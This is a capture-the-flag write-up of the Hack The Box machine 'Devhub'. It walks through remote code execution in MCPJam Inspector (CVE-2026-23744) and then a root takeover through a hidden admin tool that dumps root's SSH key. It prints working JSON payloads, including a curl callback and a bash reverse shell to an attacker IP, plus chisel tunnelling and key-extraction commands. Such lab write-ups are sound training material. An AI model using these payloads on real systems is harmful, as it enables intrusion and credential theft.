HTB Devhub Writeup | MCPJam RCE (CVE-2026-23744) to Root via Jupyter Notebook
Overview
Devhub is a Linux machine on Hack The Box. The chain is:
-
Nmap — discover the web server and the internal
6274MCPJam service -
Foothold — MCPJam RCE (CVE-2026-23744) via the unauth
/api/mcp/connectendpoint - Internal Enumeration — discover Jupyter (8888) and an OPSMCP API (5000) bound to localhost
-
Root via OPSMCP — call a hidden
ops._admin_dumptool to leak root’s SSH private key andsshin as root
Recon
nmap -sC -sV -p- -O -A --min-rate=10000 <TARGET_IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open http nginx 1.18.0
6274/tcp open unknown HTTP/1.1 200 OK
Port 6274 returned a web app titled MCPJam Inspector — a local-first development platform for MCP servers.
Before diving in, I added devhub.htb to /etc/hosts, then did subdomain fuzzing with ffuf. Nothing came across, so I moved to port 6274.
Foothold — MCPJam RCE (CVE-2026-23744)
Googling MCPJam confirmed something juicy: MCPJam Inspector versions 1.4.2 and earlier are vulnerable to remote code execution. The /api/mcp/connect API, intended for connecting to MCP servers, becomes an open entry point for unauthorized requests — it extracts command and args fields without performing any security checks.
Interesting references:
I started by sending a crafted request through Burp to confirm RCE — making the server curl my attacker box, and serving http.server 8000:
{
"serverConfig": {
"timeout": 10000,
"command": "curl",
"args": ["<ATTACKER_IP>:8000"],
"env": {}
},
"serverId": "mymcp"
}
My Python HTTP server logged the inbound request from the target — RCE confirmed.
Next I uploaded and executed a shell script, and started nc -lvnp 4444:
{
"serverConfig": {
"timeout": 10000,
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"],
"env": {}
},
"serverId": "mymcp"
}
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
Internal Service Enumeration
As mcp-dev I enumerated listening ports and processes:
mcp-dev@devhub:~$ ss -tlnp
LISTEN 0 511 0.0.0.0:6274 users:(("node-MainThread",pid=1288))
LISTEN 0 128 0.0.0.0:22 sshd
LISTEN 0 511 0.0.0.0:80 nginx
LISTEN 0 128 127.0.0.1:5000 (unlisted)
LISTEN 0 128 127.0.0.1:8888 (unlisted)
mcp-dev@devhub:~$ ps aux | grep 8888
analyst ... jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser \
--notebook-dir=/home/analyst/notebooks --ServerApp.token=<REDACTED>
mcp-dev@devhub:~$ ps aux | grep 5000
root ... /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
Two internal services:
-
Port 8888 — JupyterLab running as the
analystuser - Port 5000 — an OPSMCP operations server running as root
OPSMCP — Hidden Admin Tool
Hitting port 5000 revealed an API requiring an X-API-Key:
{"auth":"Required - X-API-Key header","endpoints":["/tools/list","/tools/call","/health"],"server":"OPSMCP","status":"operational","version":"2.1.0"}
I tried to build a malicious Jupyter notebook for RCE first — it didn’t work — so I forwarded the port with chisel:
# attacker
./chisel server -p 8000 --reverse
# target
mcp-dev@devhub:/tmp$ /tmp/chisel client <ATTACKER_IP>:8000 R:8888:127.0.0.1:8888
I read /etc/systemd/system/opsmcp.service and found the service ran as root with WorkingDirectory=/opt/opsmcp. The server.py file was -rw-r----- analyst:analyst, so I couldn’t read it as mcp-dev.
With the port forwarded, I enumerated the API. The ops._debug_mode tool revealed the hidden tools:
{
"debug": true,
"hidden_tools": [
"ops._admin_dump",
"ops._debug_mode"
],
"note": "Debug endpoints now accessible"
}
ops._admin_dump can dump:
-
ssh_keys→ root’s private SSH key -
passwords→ all user passwords -
tokens→ admin API tokens
To become root, I dumped the SSH key:
curl -H "X-API-Key: <REDACTED>" \
http://127.0.0.1:5000/tools/call \
-X POST \
-H "Content-Type: application/json" \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
Extract the key in a clean format:
curl -H "X-API-Key: <REDACTED>" \
http://127.0.0.1:5000/tools/call \
-X POST \
-H "Content-Type: application/json" \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}' \
| python3 -c "import sys, json; print(json.load(sys.stdin)['root_private_key'])" > /tmp/root_key
Root — SSH in as root
Make sure to chmod 600 root_key, then:
┌──(root㉿blackXploit)-[/home/kali/Downloads/devhubhtb]
└─# ssh -i root_key root@devhub.htb
root@devhub:~# id
uid=0(root) gid=0(root) groups=0(root)
root@devhub:~# cd /root
root@devhub:~# cat root.txt
REDACTED_ROOT_FLAG
We’re root — box done.
Full Writeup (PDF)
The complete walkthrough with commands, screenshots, and payloads is available below.
Any questions or feedback? Feel free to reach out to me on Discord.